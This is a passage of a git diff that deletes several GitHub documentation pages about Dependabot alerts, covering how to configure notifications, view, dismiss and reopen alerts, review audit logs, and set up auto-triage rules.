data variables.product.prodname_dependabot %} alert and display it on the **Security** tab for the repository. {% data variables.product.github %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories, and needs to be enabled on private repositories. By default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email. You can override the default overall behavior by choosing the type of notifications you want to receive, or switching notifications off altogether in the settings page for your user notifications at [https://github.com/settings/notifications](https://github.com/settings/notifications). -{% endif %} - -{% data reusables.dependabot.no-dependabot-alerts-for-malware %} - -Regardless of your notification preferences, when {% data variables.product.prodname_dependabot %} is first enabled, {% data variables.product.github %} does not send notifications for all vulnerable dependencies found in your repository. Instead, you will receive notifications for new vulnerable dependencies identified after {% data variables.product.prodname_dependabot %} is enabled, if your notification preferences allow it. - -{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether {% data variables.product.prodname_dependabot_alerts %} will be enabled or disabled for newly-created repositories. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added). -{% endif %} - -{% ifversion ghes %} -By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email. - -Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). -{% endif %} - -## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %} - -When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.github %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository). - -You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings). - -{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} -{% data reusables.notifications.vulnerable-dependency-notification-options %} - -{% ifversion update-notification-settings-22 %} -![Screenshot of the notification options for {% data variables.product.prodname_dependabot_alerts %}. A dropdown menu with frequency options is outlined in orange.](/assets/images/help/dependabot/dependabot-notification-frequency.png){% endif %}{% ifversion ghes %} -![Screenshot of the notification options for {% data variables.product.prodname_dependabot_alerts %}.](/assets/images/help/enterprises/dependabot-alerts-options-no-ui.png){% endif %} - -> [!NOTE] -> You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot_alerts %}. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#dependabot-custom-filters). - -{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#filtering-email-notifications). - -## How to reduce the noise from notifications for {% data variables.product.prodname_dependabot_alerts %} - -If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend leveraging {% data variables.dependabot.auto_triage_rules %} to auto-dismiss low-risk alerts. Rules are applied before alert notifications are sent, so alerts that are auto-dismissed upon creation do not send notifications. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules). - -Alternatively, you can opt into the weekly email digest, or even completely turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's **Security** tab. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). - -## Further reading - -* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications) -* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#supported-is-queries) diff --git a/content/code-security/dependabot/dependabot-alerts/index.md b/content/code-security/dependabot/dependabot-alerts/index.md deleted file mode 100644 index 3386f9ef4444..000000000000 --- a/content/code-security/dependabot/dependabot-alerts/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Identifying vulnerabilities in your project's dependencies with Dependabot alerts -shortTitle: Dependabot alerts -intro: '{% data variables.product.prodname_dependabot %} generates {% data variables.product.prodname_dependabot_alerts %} when known vulnerabilities are detected in dependencies that your project uses.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -children: - - /about-dependabot-alerts - - /configuring-dependabot-alerts - - /viewing-and-updating-dependabot-alerts - - /configuring-notifications-for-dependabot-alerts ---- diff --git a/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md b/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md deleted file mode 100644 index fc76bff7e304..000000000000 --- a/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Viewing and updating Dependabot alerts -intro: 'If {% data variables.product.github %} discovers insecure dependencies in your project, you can view details on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the alert.' -redirect_from: - - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository - - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository - - /code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository -permissions: '{% data reusables.permissions.dependabot-alerts %}' -shortTitle: View Dependabot alerts -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependabot - - Security updates - - Alerts - - Dependencies - - Pull requests - - Repositories ---- - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -Your repository's {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}. You can filter alerts by package, ecosystem, or manifest. You can sort the list of alerts, and you can click into specific alerts for more details. You can also dismiss or reopen alerts, either one by one or by selecting multiple alerts at once. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - -You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -## About updates for vulnerable dependencies in your repository - -{% data variables.product.github %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that the default branch of your codebase is using dependencies with known security risks. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.github %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability. - -{% data reusables.dependabot.no-dependabot-alerts-for-malware %} - -Each {% data variables.product.prodname_dependabot %} alert has a unique numeric identifier and the {% data variables.product.prodname_dependabot_alerts %} tab lists an alert for every detected vulnerability. Legacy {% data variables.product.prodname_dependabot_alerts %} grouped vulnerabilities by dependency and generated a single alert per dependency. If you navigate to a legacy {% data variables.product.prodname_dependabot %} alert, you will be redirected to a {% data variables.product.prodname_dependabot_alerts %} tab filtered for that package. - -You can filter and sort {% data variables.product.prodname_dependabot_alerts %} using a variety of filters and sort options available on the user interface. For more information, see [Prioritizing {% data variables.product.prodname_dependabot_alerts %}](#prioritizing-dependabot-alerts) below. - -You can also audit actions taken in response to {% data variables.product.prodname_dependabot %} alerts. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). - -## Prioritizing {% data variables.product.prodname_dependabot_alerts %} - -{% data variables.product.company_short %} helps you prioritize fixing {% data variables.product.prodname_dependabot_alerts %}. By default, {% data variables.product.prodname_dependabot_alerts %} are sorted by importance. The "Most important" sort order helps you prioritize which {% data variables.product.prodname_dependabot_alerts %} to focus on first. Alerts are ranked based on their potential impact, actionability, and relevance. Our prioritization calculation is constantly being improved and includes factors like CVSS score, dependency scope, and whether vulnerable function calls are found for the alert. -You can also use {% data variables.dependabot.auto_triage_rules %} to prioritize {% data variables.product.prodname_dependabot_alerts %}. For more information, see “[AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules).” - -{% data reusables.dependabot.dependabot-alerts-filters %} - -In addition to the filters available via the search bar, you can sort and filter {% data variables.product.prodname_dependabot_alerts %} using the dropdown menus at the top of the alert list. Alternatively, to filter by label, click a label assigned to an alert to automatically apply that filter to the alert list. - -The search bar also allows for full text searching of alerts and related security advisories. You can search for part of a security advisory name or description to return the alerts in your repository that relate to that security advisory. For example, searching for `yaml.load() API could execute arbitrary code` will return {% data variables.product.prodname_dependabot_alerts %} linked to [PyYAML insecurely deserializes YAML strings leading to arbitrary code execution](https://github.com/advisories/GHSA-rprw-h62v-c2w7) as the search string appears in the advisory description. - -![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab.](/assets/images/help/graphs/dependabot-alerts-filters-checkbox.png) - -You can also use the REST API to get a list of {% data variables.product.prodname_dependabot_alerts %} sorted using your filter of choice, for your repository, organization, or enterprise. For more information about API endpoints, see [AUTOTITLE](/rest/dependabot/alerts). - -## Supported ecosystems and manifests for dependency scope - -{% data reusables.dependabot.dependabot-alerts-dependency-scope %} - -Alerts for packages listed as development dependencies are marked with the `Development` label on the {% data variables.product.prodname_dependabot_alerts %} page and are also available for filtering via the `scope` filter. - -![Screenshot showing the "Development" label assigned to an alert in the list of alerts. The label is highlighted with a dark orange outline.](/assets/images/help/repository/dependabot-alerts-development-label.png) - -The alert details page of alerts on development-scoped packages shows a "Tags" section containing a `Development` label. - -![Screenshot showing the "Tags" section in the alert details page. The label is highlighted with a dark orange outline.](/assets/images/help/repository/dependabot-alerts-tags-section.png) - -## Viewing {% data variables.product.prodname_dependabot_alerts %} - -{% data reusables.dependabot.where-to-view-dependabot-alerts %} You can sort and filter {% data variables.product.prodname_dependabot_alerts %} by selecting a filter from the dropdown menu. - -{% ifversion ghec or ghes %}To view summaries of alerts for all or a subset of repositories owned by your organization, use security overview. For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview#about-security-overview-for-organizations).{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-dependabot-alerts %} -1. Optionally, to filter alerts, select a filter in a dropdown menu then click the filter that you would like to apply. You can also type filters into the search bar. Alternatively, to filter by label, click a label assigned to an alert to automatically apply that filter to the alert list. For more information about filtering and sorting alerts, see [Prioritizing {% data variables.product.prodname_dependabot_alerts %}](#prioritizing-dependabot-alerts). - - ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab.](/assets/images/help/graphs/dependabot-alerts-filters-checkbox.png) -1. Click the alert that you would like to view. -1. Optionally, to suggest an improvement to the related security advisory, on the right-hand side of the alert details page, click **Suggest improvements for this advisory on the {% data variables.product.prodname_advisory_database %}**. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database). - - ![Screenshot of the right sidebar of a {% data variables.product.prodname_dependabot %} alert. A link, titled "Suggest improvements for this advisory...", is outlined in orange.](/assets/images/help/dependabot/dependabot-improve-security-advisory.png) - -## Reviewing and fixing alerts - -It’s important to ensure that all of your dependencies are clean of any security weaknesses. When {% data variables.product.prodname_dependabot %} discovers vulnerabilities in your dependencies, you should assess your project’s level of exposure and determine what remediation steps to take to secure your application. - -If a patched version of the dependency is available, you can generate a {% data variables.product.prodname_dependabot %} pull request to update this dependency directly from a {% data variables.product.prodname_dependabot %} alert. If you have {% data variables.product.prodname_dependabot_security_updates %} enabled, the pull request may be linked in the {% data variables.product.prodname_dependabot %} alert. - -In cases where a patched version is not available, or you can’t update to the secure version, {% data variables.product.prodname_dependabot %} shares additional information to help you determine next steps. When you click through to view a {% data variables.product.prodname_dependabot %} alert, you can see the full details of the security advisory for the dependency including the affected functions. You can then check whether your code calls the impacted functions. This information can help you further assess your risk level, and determine workarounds or if you’re able to accept the risk represented by the security advisory. - -{% ifversion copilot-chat-ghas-alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can also ask {% data variables.product.prodname_copilot_chat %} for help to better understand {% data variables.product.prodname_dependabot_alerts %} in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -### Fixing vulnerable dependencies - -1. View the details for an alert. For more information, see [Viewing {% data variables.product.prodname_dependabot_alerts %}](#viewing-dependabot-alerts) (above). -1. If you have {% data variables.product.prodname_dependabot_security_updates %} enabled, there may be a link to a pull request that will fix the dependency. Alternatively, you can click **Create {% data variables.product.prodname_dependabot %} security update** at the top of the alert details page to create a pull request. - - ![Screenshot of a {% data variables.product.prodname_dependabot %} alert with the "Create {% data variables.product.prodname_dependabot %} security update" button highlighted with a dark orange outline.](/assets/images/help/repository/create-dependabot-security-update-button-ungrouped.png) - -1. Optionally, if you do not use {% data variables.product.prodname_dependabot_security_updates %}, you can use the information on the page to decide which version of the dependency to upgrade to and create a pull request to update the dependency to a secure version. -1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. - - Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands). - -## Dismissing {% data variables.product.prodname_dependabot_alerts %} - -> [!NOTE] -> You can only dismiss open alerts. - -If you schedule extensive work to upgrade a dependency, or decide that an alert does not need to be fixed, you can dismiss the alert. Dismissing alerts that you have already assessed makes it easier to triage new alerts as they appear. - -1. View the details for an alert. For more information, see [Viewing vulnerable dependencies](#viewing-dependabot-alerts) (above). -1. Select the "Dismiss" dropdown, and click a reason for dismissing the alert. Unfixed dismissed alerts can be reopened later. -1. Optionally, add a dismissal comment. The dismissal comment will be added to the alert timeline and can be used as justification during auditing and reporting. You can retrieve or set a comment by using the GraphQL API. The comment is contained in the `dismissComment` field. For more information, see [AUTOTITLE](/graphql/reference/objects#repositoryvulnerabilityalert) in the GraphQL API documentation. - - ![Screenshot of a {% data variables.product.prodname_dependabot %} alert page, with the "Dismiss" dropdown and the option to add a dismissal comment outlined in orange.](/assets/images/help/repository/dependabot-alerts-dismissal-comment.png) - -1. Click **Dismiss alert**. - -### Dismissing multiple alerts at once - -1. View the open {% data variables.product.prodname_dependabot_alerts %}. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-dependabot-alerts). -1. Optionally, filter the list of alerts by selecting a dropdown menu, then clicking the filter that you would like to apply. You can also type filters into the search bar. -1. To the left of each alert title, select the alerts that you want to dismiss. - ![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} view. Two alerts are selected and these check boxes are highlighted with an orange outline.](/assets/images/help/graphs/select-multiple-alerts.png) -1. Optionally, at the top of the list of alerts, select all alerts on the page. - ![Screenshot of the header section of the {% data variables.product.prodname_dependabot_alerts %} view. The "Select all" checkbox is highlighted with a dark orange outline.](/assets/images/help/graphs/select-all-alerts.png) -1. Select the "Dismiss alerts" dropdown, and click a reason for dismissing the alerts. - ![Screenshot of a list of alerts. Below the "Dismiss alerts" button, a dropdown labeled "Select a reason to dismiss" is expanded.](/assets/images/help/graphs/dismiss-multiple-alerts.png) - -## Viewing and updating closed alerts - -You can view all open alerts, and you can reopen alerts that have been previously dismissed. Closed alerts that have already been fixed cannot be reopened. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-dependabot-alerts %} -1. To just view closed alerts, click **Closed**. - - ![Screenshot showing the list of {% data variables.product.prodname_dependabot_alerts %} with the "Closed" tab highlighted with a dark orange outline.](/assets/images/help/repository/dependabot-alerts-closed-checkbox.png) - -1. Click the alert that you would like to view or update. -1. Optionally, if the alert was dismissed and you wish to reopen it, click **Reopen**. Alerts that have already been fixed cannot be reopened. - - ![Screenshot showing a closed {% data variables.product.prodname_dependabot %} alert. A button, titled "Reopen", is highlighted in a dark orange outline.](/assets/images/help/repository/reopen-dismissed-alert.png) - -### Reopening multiple alerts at once - -1. View the closed {% data variables.product.prodname_dependabot_alerts %}. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-and-updating-closed-alerts) (above). -1. To the left of each alert title, select the alerts that you want to reopen by clicking the checkbox adjacent to each alert. -1. Optionally, at the top of the list of alerts, select all closed alerts on the page. - ![Screenshot of alerts in the "Closed" tab. The "Select all" checkbox is highlighted with a dark orange outline.](/assets/images/help/graphs/select-all-closed-alerts.png) -1. Click **Reopen** to reopen the alerts. Alerts that have already been fixed cannot be reopened. - -## Reviewing the audit logs for {% data variables.product.prodname_dependabot_alerts %} - -When a member of your organization {% ifversion not fpt %}or enterprise {% endif %}performs an action related to {% data variables.product.prodname_dependabot_alerts %}, you can review the actions in the audit log. For more information about accessing the log, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log){% ifversion not fpt %} and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise).{% else %}.{% endif %} - -![Screenshot of the audit log showing Dependabot alerts.](/assets/images/help/dependabot/audit-log-ui-dependabot-alert.png) - -Events in your audit log for {% data variables.product.prodname_dependabot_alerts %} include details such as who performed the action, what the action was, and when the action was performed. The event also includes a link to the alert itself. When a member of your organization dismisses an alert, the event displays the dismissal reason and comment. For information on the {% data variables.product.prodname_dependabot_alerts %} actions, see the `repository_vulnerability_alert` category in [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization#repository_vulnerability_alert){% ifversion not fpt %} and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#repository_vulnerability_alert).{% else %}.{% endif %} diff --git a/content/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules.md b/content/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules.md deleted file mode 100644 index 940a679e4f52..000000000000 --- a/content/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: About Dependabot auto-triage rules -intro: '{% data variables.dependabot.auto_triage_rules %} are a powerful tool to help you better manage your security alerts at scale. {% data variables.dependabot.github_presets %} are rules curated by {% data variables.product.company_short %} that you can use to filter out a substantial amount of false positives. {% data variables.dependabot.custom_rules_caps %} provide control over which alerts are ignored, snoozed, or trigger a {% data variables.product.prodname_dependabot %} security update to resolve the alert.' -product: '{% data reusables.gated-features.dependabot-auto-triage-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -shortTitle: About auto-triage rules -redirect_from: - - /code-security/dependabot/dependabot-alerts/using-alert-rules-to-prioritize-dependabot-alerts - - /code-security/dependabot/dependabot-alert-rules/about-dependabot-alert-rules ---- - -## About {% data variables.dependabot.auto_triage_rules %} - -{% data variables.dependabot.auto_triage_rules %} allow you to instruct {% data variables.product.prodname_dependabot %} to automatically triage {% data variables.product.prodname_dependabot_alerts %}. You can use {% data variables.dependabot.auto_triage_rules_short %} to automatically dismiss or snooze certain alerts, or specify the alerts you want {% data variables.product.prodname_dependabot %} to open pull requests for. Rules are applied before alert notifications are sent, so enabling rules that auto-dismiss low-risk alerts will prevent notification noise from future matching alerts. - -There are two types of {% data variables.dependabot.auto_triage_rules %}: - -* {% data variables.dependabot.github_presets %} -* {% data variables.dependabot.custom_rules_caps %} - -### About {% data variables.dependabot.github_presets %} - -> [!NOTE] -> {% data reusables.dependabot.dependabot-github-preset-auto-triage-rules %} - -{% data variables.dependabot.github_presets %} are rules curated by {% data variables.product.company_short %}. {% data reusables.dependabot.dismiss-low-impact-rule %} - -The rule is enabled by default for public repositories and can be opted into for private repositories. You can enable the rule for a private repository via the **Settings** tab for the repository. For more information, see [Enabling the `Dismiss low impact issues for development-scoped dependencies` rule for your private repository](/code-security/dependabot/dependabot-auto-triage-rules/using-github-preset-rules-to-prioritize-dependabot-alerts#enabling-the-dismiss-low-impact-issues-for-development-scoped-dependencies-rule-for-your-private-repository). - -### About {% data variables.dependabot.custom_rules %} - -> [!NOTE] -> {% data reusables.gated-features.dependabot-custom-auto-triage-rules %} - -With {% data variables.dependabot.custom_rules %}, you can create your own rules to automatically dismiss or reopen alerts based on targeted metadata, such as severity, package name, CWE, and more. You can also specify which alerts you want {% data variables.product.prodname_dependabot %} to open pull requests for. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/customizing-auto-triage-rules-to-prioritize-dependabot-alerts). - -You can create custom rules from the **Settings** tab of the repository{% ifversion ghec or ghes %}, provided the repository belongs to an organization that has a license for {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} or {% endif %}{% data variables.product.prodname_GHAS %}{% endif %}. For more information, see [Adding custom auto-triage rules to your repository](/code-security/dependabot/dependabot-auto-triage-rules/customizing-auto-triage-rules-to-prioritize-dependabot-alerts#adding-custom-auto-triage-rules-to-your-repository). - -### About auto-dismissing alerts - -Whilst you may find it useful to use auto-triage rules to auto-dismiss alerts, you can still reopen auto-dismissed alerts and filter to see which alerts have been auto-dismissed. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/managing-automatically-dismissed-alerts). - -Additionally, auto-dismissed alerts are still available for reporting and reviewing, and can be auto-reopened if the alert metadata changes, for example: -* If you change the scope of a dependency from development to production. -* If {% data variables.product.company_short %} modifies certain metadata for the related advisory. - -Auto-dismissed alerts are defined by the `resolution:auto-dismiss` close reason. Automatic dismissal activity is included in alert webhooks, REST and GraphQL APIs, and the audit log. For more information, see [AUTOTITLE](/rest/dependabot/alerts), and the "`repository_vulnerability_alert`" section in [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#repository_vulnerability_alert-category-actions). - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/using-github-preset-rules-to-prioritize-dependabot-alerts) -* [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/customizing-auto-triage-rules-to-prioritize-dependabot-alerts) diff --git a/content/code-security/dependabot/dependabot-auto-triage-rules/customizing-auto-triage-rules-to-prioritize-dependabot-alerts.md b/content/code-security/dependabot/dependabot-auto-triage-rules/customizing-auto-triage-rules-to-prioritize-dependabot-alerts.md deleted file mode 100644 index f2432fbadff5..000000000000 --- a/content/code-security/dependabot/dependabot-auto-triage-rules/customizing-auto-triage-rules-to-prioritize-dependabot-alerts.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Customizing auto-triage rules to prioritize Dependabot alerts -intro: 'You can create your own {% data variables.dependabot.auto_triage_rules_short %} to control which alerts are dismissed or snoozed, and which alerts you want {% data variables.product.prodname_dependabot %} to open pull requests for.' -permissions: '{% data reusables.permissions.dependabot-auto-triage-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -shortTitle: Custom auto-triage rules -redirect_from: - - /code-security/dependabot/dependabot-alert-rules/customizing-alert-rules-to-prioritize-dependabot-alerts ---- - -## About {% data variables.dependabot.custom_rules %} - -You can create your own {% data variables.dependabot.auto_triage_rules %} based on alert metadata. You can choose to auto-dismiss alerts indefinitely, or snooze alerts until a patch becomes available, and you can specify which alerts you want {% data variables.product.prodname_dependabot %} to open pull requests for. Rules are applied before alert notifications are sent, so creating custom rules that auto-dismiss low-risk alerts will reduce notification noise from future matching alerts. - -Since any rules that you create apply to both future and current alerts, you can also use {% data variables.dependabot.auto_triage_rules_short %} to manage your {% data variables.product.prodname_dependabot_alerts %} in bulk. - -Repository administrators can create {% data variables.dependabot.custom_rules %} for their {% ifversion fpt %}public{% elsif ghec or ghes %}public, private, and internal{% endif %} repositories. - -Organization owners and security managers can set {% data variables.dependabot.custom_rules %} at the organization-level, and then choose if a rule is enforced or enabled across all public {% ifversion ghec %}and private {% endif %} repositories in the organization. - - * **Enforced:** If an organization-level rule is "enforced", repository administrators cannot edit, disable, or delete the rule. - * **Enabled:** If an organization-level rule is "enabled", repository administrators can still disable the rule for their repository. - -> [!NOTE] -> In the event that an organization-level rule and a repository-level rule specify conflicting behaviors, the action set out by the organization-level rule takes precedence. Dismissal rules always act before rules which trigger {% data variables.product.prodname_dependabot %} pull requests. - -You can create rules to target alerts using the following metadata: - -* CVE ID -* CWE -* Dependency scope (`devDependency` or `runtime`) -* Ecosystem -* GHSA ID -* Manifest path (for repository-level rules only) -* Package name -* Patch availability -* Severity -* EPSS Score - -### Understanding how {% data variables.dependabot.custom_rules %} and {% data variables.product.prodname_dependabot_security_updates %} interact - -You can use {% data variables.dependabot.custom_rules %} to tailor which alerts you want {% data variables.product.prodname_dependabot %} to open pull requests for. However, for an "open a pull request" rule to take effect, you must ensure that {% data variables.product.prodname_dependabot_security_updates %} are **disabled** for the repository (or repositories) that the rule should apply to. - -When {% data variables.product.prodname_dependabot_security_updates %} are enabled for a repository, {% data variables.product.prodname_dependabot %} will automatically try to open pull requests to resolve **every** open {% data variables.product.prodname_dependabot %} alert that has an available patch. If you prefer to customize this behavior using a rule, you must leave {% data variables.product.prodname_dependabot_security_updates %} disabled. - -For more information about enabling or disabling {% data variables.product.prodname_dependabot_security_updates %} for a repository, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#managing-dependabot-security-updates-for-your-repositories). - -## Adding {% data variables.dependabot.custom_rules %} to your repository - -> [!NOTE] -> During the {% data variables.release-phases.public_preview %}, you can create up to 10 {% data variables.dependabot.custom_rules %} for a repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.dependabot.navigate-to-repo-level-dependabot-alert-rules %} -{% data reusables.dependabot.click-new-alert-rule %} -{% data reusables.dependabot.dependabot-alert-rule-set-name %} -1. Under "State", use the dropdown menu to select whether the rule should be enabled or disabled for the repository. -{% data reusables.dependabot.target-alerts-metadata %} -1. Under "Rules", select the action you want to take on alerts that match the metadata: - * Select **Dismiss alerts** to auto-dismiss alerts that match the metadata. You can choose to dismiss alerts indefinitely or until a patch is available. - * Select **Open a pull request to resolve this alert** if you want {% data variables.product.prodname_dependabot %} to suggest changes to resolve alerts that match the targeted metadata. Note that this option is unavailable if you have already selected the option to dismiss alerts indefinitely, or if {% data variables.product.prodname_dependabot_security_updates %} are enabled in your repository settings. -{% data reusables.dependabot.dependabot-alert-rules-click-create-rule %} - -## Adding {% data variables.dependabot.custom_rules %} to your organization - -{% ifversion security-configurations %} You can add {% data variables.dependabot.custom_rules %} for all eligible repositories in your organization. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization#creating-and-managing-dependabot-auto-triage-rules). - -{% else %} - -> [!NOTE] -> During the {% data variables.release-phases.public_preview %}, you can create up to 25 {% data variables.dependabot.custom_rules %} for your organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} -{% data reusables.dependabot.navigate-to-org-level-dependabot-alert-rules %} -{% data reusables.dependabot.click-new-alert-rule %} -{% data reusables.dependabot.dependabot-alert-rule-set-name %} -1. Under "State", use the dropdown menu to choose how you want to apply the rule. - * Choose **Enforced** to prevent repository administrators from being able to edit, disable, or delete the rule in the repository's settings page. - * Choose **Enabled** to set the rule on-by-default for all repositories, while also allowing repository administrators to disable the rule in the repository's settings page. - * Alternatively, you can choose to set the rule as **Disabled**, which cannot be overridden at the repository level. Disabled rules are hidden for all repositories. -{% data reusables.dependabot.target-alerts-metadata %} -1. Under "Rules", select the action you want to take on alerts that match the metadata: - * Select **Dismiss alerts** to auto-dismiss alerts that match the metadata. You can choose to dismiss alerts indefinitely, or until a patch is available. - * Select **Open a pull request to resolve this alert** if you want {% data variables.product.prodname_dependabot %} to suggest changes to resolve alerts that match the metadata. Note that this option is unavailable if you have selected the option to dismiss the alerts indefinitely. -{% data reusables.dependabot.dependabot-alert-rules-click-create-rule %} - -{% endif %} - -## Editing or deleting {% data variables.dependabot.custom_rules %} for your repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.dependabot.navigate-to-repo-level-dependabot-alert-rules %} -1. Under "Repository rules", to the right of the rule that you want to edit or delete, click {% octicon "pencil" aria-label="Edit custom rule" %}. -{% data 